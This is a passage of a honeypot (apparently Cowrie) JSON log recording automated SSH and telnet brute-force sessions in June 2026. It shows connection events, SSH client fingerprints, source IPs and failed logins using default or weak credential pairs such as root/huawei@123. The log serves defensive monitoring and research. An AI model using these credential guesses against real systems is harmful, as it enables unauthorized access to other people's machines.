{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:46.910094Z","src_ip":"45.156.87.147","session":"6ee1de9d2087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"1qaz2wsx","message":"login attempt [system/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:47.184123Z","src_ip":"45.156.87.147","session":"6ee1de9d2087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:48.268952Z","src_ip":"45.156.87.147","session":"6ee1de9d2087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59352,"dst_ip":"10.17.0.5","dst_port":22,"session":"5edb1b050f0b","protocol":"ssh","message":"New connection: 45.156.87.147:59352 (10.17.0.5:22) [session: 5edb1b050f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:53.136977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:53.141160Z","src_ip":"45.156.87.147","session":"5edb1b050f0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:53.224171Z","src_ip":"45.156.87.147","session":"5edb1b050f0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:53.474516Z","src_ip":"45.156.87.147","session":"5edb1b050f0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:54.563090Z","src_ip":"45.156.87.147","session":"5edb1b050f0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.037975549697876,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:57.949629Z","src_ip":"172.81.62.90","session":"c9229691d7bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57476,"dst_ip":"10.17.0.5","dst_port":22,"session":"1416d26e0bbc","protocol":"ssh","message":"New connection: 45.156.87.147:57476 (10.17.0.5:22) [session: 1416d26e0bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:59.260001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:59.264357Z","src_ip":"45.156.87.147","session":"1416d26e0bbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:59.345788Z","src_ip":"45.156.87.147","session":"1416d26e0bbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:52:59.604464Z","src_ip":"45.156.87.147","session":"1416d26e0bbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:00.689782Z","src_ip":"45.156.87.147","session":"1416d26e0bbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57480,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e1c25a4e165","protocol":"ssh","message":"New connection: 45.156.87.147:57480 (10.17.0.5:22) [session: 3e1c25a4e165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:05.608273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:05.612601Z","src_ip":"45.156.87.147","session":"3e1c25a4e165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:05.698223Z","src_ip":"45.156.87.147","session":"3e1c25a4e165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:05.944396Z","src_ip":"45.156.87.147","session":"3e1c25a4e165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:07.031417Z","src_ip":"45.156.87.147","session":"3e1c25a4e165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54642,"dst_ip":"10.17.0.5","dst_port":22,"session":"de6a9701f135","protocol":"ssh","message":"New connection: 45.156.87.147:54642 (10.17.0.5:22) [session: de6a9701f135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:12.063489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:12.067640Z","src_ip":"45.156.87.147","session":"de6a9701f135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:12.149036Z","src_ip":"45.156.87.147","session":"de6a9701f135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"root","message":"login attempt [server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:12.393343Z","src_ip":"45.156.87.147","session":"de6a9701f135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:13.478342Z","src_ip":"45.156.87.147","session":"de6a9701f135","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43156,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fe58faa1708","protocol":"telnet","message":"New connection: 128.199.8.54:43156 (159.203.135.109:23) [session: 8fe58faa1708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:13.517810Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54648,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f63ac2c712d","protocol":"ssh","message":"New connection: 45.156.87.147:54648 (10.17.0.5:22) [session: 5f63ac2c712d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:18.395928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:18.398635Z","src_ip":"45.156.87.147","session":"5f63ac2c712d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:18.489954Z","src_ip":"45.156.87.147","session":"5f63ac2c712d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:18.742434Z","src_ip":"45.156.87.147","session":"5f63ac2c712d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:19.830229Z","src_ip":"45.156.87.147","session":"5f63ac2c712d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35156,"dst_ip":"10.17.0.5","dst_port":22,"session":"0073a2848457","protocol":"ssh","message":"New connection: 45.156.87.147:35156 (10.17.0.5:22) [session: 0073a2848457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:24.444169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:24.527281Z","src_ip":"45.156.87.147","session":"0073a2848457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:24.529875Z","src_ip":"45.156.87.147","session":"0073a2848457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:24.855761Z","src_ip":"45.156.87.147","session":"0073a2848457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:25.941754Z","src_ip":"45.156.87.147","session":"0073a2848457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47814,"dst_ip":"10.17.0.5","dst_port":22,"session":"71e31eafbac8","protocol":"ssh","message":"New connection: 45.156.87.147:47814 (10.17.0.5:22) [session: 71e31eafbac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:30.570494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:30.577458Z","src_ip":"45.156.87.147","session":"71e31eafbac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:30.659271Z","src_ip":"45.156.87.147","session":"71e31eafbac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:30.909900Z","src_ip":"45.156.87.147","session":"71e31eafbac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:32.079937Z","src_ip":"45.156.87.147","session":"71e31eafbac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47824,"dst_ip":"10.17.0.5","dst_port":22,"session":"664551706b73","protocol":"ssh","message":"New connection: 45.156.87.147:47824 (10.17.0.5:22) [session: 664551706b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:36.784669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:53:36.789526Z","src_ip":"45.156.87.147","session":"664551706b73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-